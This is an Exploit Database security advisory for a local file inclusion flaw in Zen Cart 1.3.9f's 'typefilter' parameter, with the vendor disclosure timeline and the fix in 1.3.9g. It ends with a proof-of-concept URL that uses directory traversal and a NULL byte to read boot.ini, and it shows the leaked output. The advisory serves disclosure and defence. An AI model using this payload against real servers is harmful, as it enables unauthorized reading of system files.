Zen Cart 1.3.9f – ‘typefilter’ Local File Inclusion

• Exploit Database
• 36 阅读

• 作者： LiquidWorm
  日期： 2010-10-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/15166/

• Zen Cart v1.3.9f (typefilter) Local File Inclusion Vulnerability
  
  
  Vendor: Zen Ventures, LLC
  Product web page: http://www.zen-cart.com
  Version affected: 1.3.9f
  
  Summary: Zen Cart is an online store management system.
  It is PHP-based, using a MySQL database and HTML components.
  Support is provided for numerous languages and currencies,
  and it is freely available under the GNU GPL.
  
  Desc: Zen Cart v1.3.9f suffers from a file inlcusion vulnerability
  (LFI) / file disclosure vulnerability (FD) when input passed
  thru the "typefilter" parameter to index.php is not properly verified
  before being used to include files. This can be exploited to include
  files from local resources with directory traversal attacks and URL
  encoded NULL bytes.
  
  
  ------------------ output. ------------------
  
   [boot loader]
   timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
  
   [operating systems]
   multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /NoExecute=OptOut
  
  
   1065 Query was empty
   in:
   []
  
  ------------------ .output ------------------
  
  
   -
  
  
  ------------------- snip. -------------------
  
   if (isset($_GET['typefilter'])) $typefilter = $_GET['typefilter'];
  
  ------------------- .snip -------------------
  
  
  
  Tested On: Apache 2.2.11 (Win32)
   PHP 5.3.0
   MySQL 5.1.36
  
  
  Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  Zero Science Lab - http://www.zeroscience.mk
  liquidworm gmail com
  
  19.08.2010
  
  
  Vendor status: [19.08.2010] - Vulnerability discovered.
   [22.08.2010] - Vendor contacted.
   [22.08.2010] - Vendor responds asking more details.
   [23.08.2010] - Sent PoC files to vendor.
   [25.08.2010] - Vendor confirms vulnerability.
   [02.09.2010] - Asked vendor for patch release date.
   [08.09.2010] - Vendor states approximately 7 days to patch release.
   [20.09.2010] - Asked vendor for status.
   [24.09.2010] - Asked vendor for status again because of no reply from previous mail.
   [28.09.2010] - Vendor informed about advisory release date.
   [29.09.2010] - Vendor releases version 1.3.9g to address this issue.
   [01.10.2010] - Public advisory released.
  
  
  Advisory ID: ZSL-2010-4967
  Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4967.php
  
  Vendor Advisory: http://www.zen-cart.com/forum/showthread.php?t=165017
  
  
  PoC:
  
   http://127.0.0.1/index.php?typefilter=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fboot.ini%00